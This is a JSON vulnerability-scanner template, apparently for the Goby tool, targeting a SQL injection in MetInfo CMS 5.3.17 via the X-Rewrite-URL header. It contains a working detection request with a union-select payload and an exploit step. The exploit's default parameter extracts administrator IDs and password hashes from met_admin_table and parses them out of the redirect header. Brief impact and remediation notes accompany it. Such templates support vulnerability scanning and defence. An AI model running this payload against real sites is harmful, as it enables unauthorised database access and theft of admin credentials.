{
  "Name": "Metinfo 5.3.17 X-Rewrite-URL SQLi",
  "Description": "Metinfo is a set of content management system (CMS) developed by Changsha Mituo Information Technology Co., Ltd. in China, which is developed by PHP and mysql",
  "Product": "metinfo",
  "Homepage": "https://www.metinfo.cn/",
  "DisclosureDate": "2021-06-15",
  "Author": "gobysec@gmail.com",
  "GobyQuery": "app=\"MetInfo\"",
  "Level": "2",
  "Impact": "<p>Hackers can execute SQL statements directly, so as to control the whole server: data acquisition, data modification, data deletion, etc.<br></p>",
  "Recommendation": "<p>1. the data input by users should be strictly filtered in the web code.</p><p>2. deploy web application firewall to monitor database operation.</p><p>3. upgrade to the latest version.</p>",
  "References": [
    "https://www.leavesongs.com/PENETRATION/metinfo-5.3.17-sql-injection.html"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "sql",
      "type": "input",
      "value": "union select group_concat(admin_id,0x2c,admin_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from met_admin_table limit 1",
      "show": ""
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/index.php?lang=Cn&index=1",
        "follow_redirect": false,
        "header": {
          "X-Rewrite-URL": "1/2/404xxx' union select md5(0x0c),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#/index.php"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$head",
            "operation": "contains",
            "value": "58c89562f58fd276f592420068db8c09",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/index.php?lang=Cn&index=1",
        "follow_redirect": false,
        "header": {
          "X-Rewrite-URL": "1/2/404xxx' {{{sql}}}#/index.php"
        },
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "301",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastheader|regex|(?s)list-(.*?)-Cn"
      ]
    }
  ],
  "Tags": [
    "SQL Injection"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}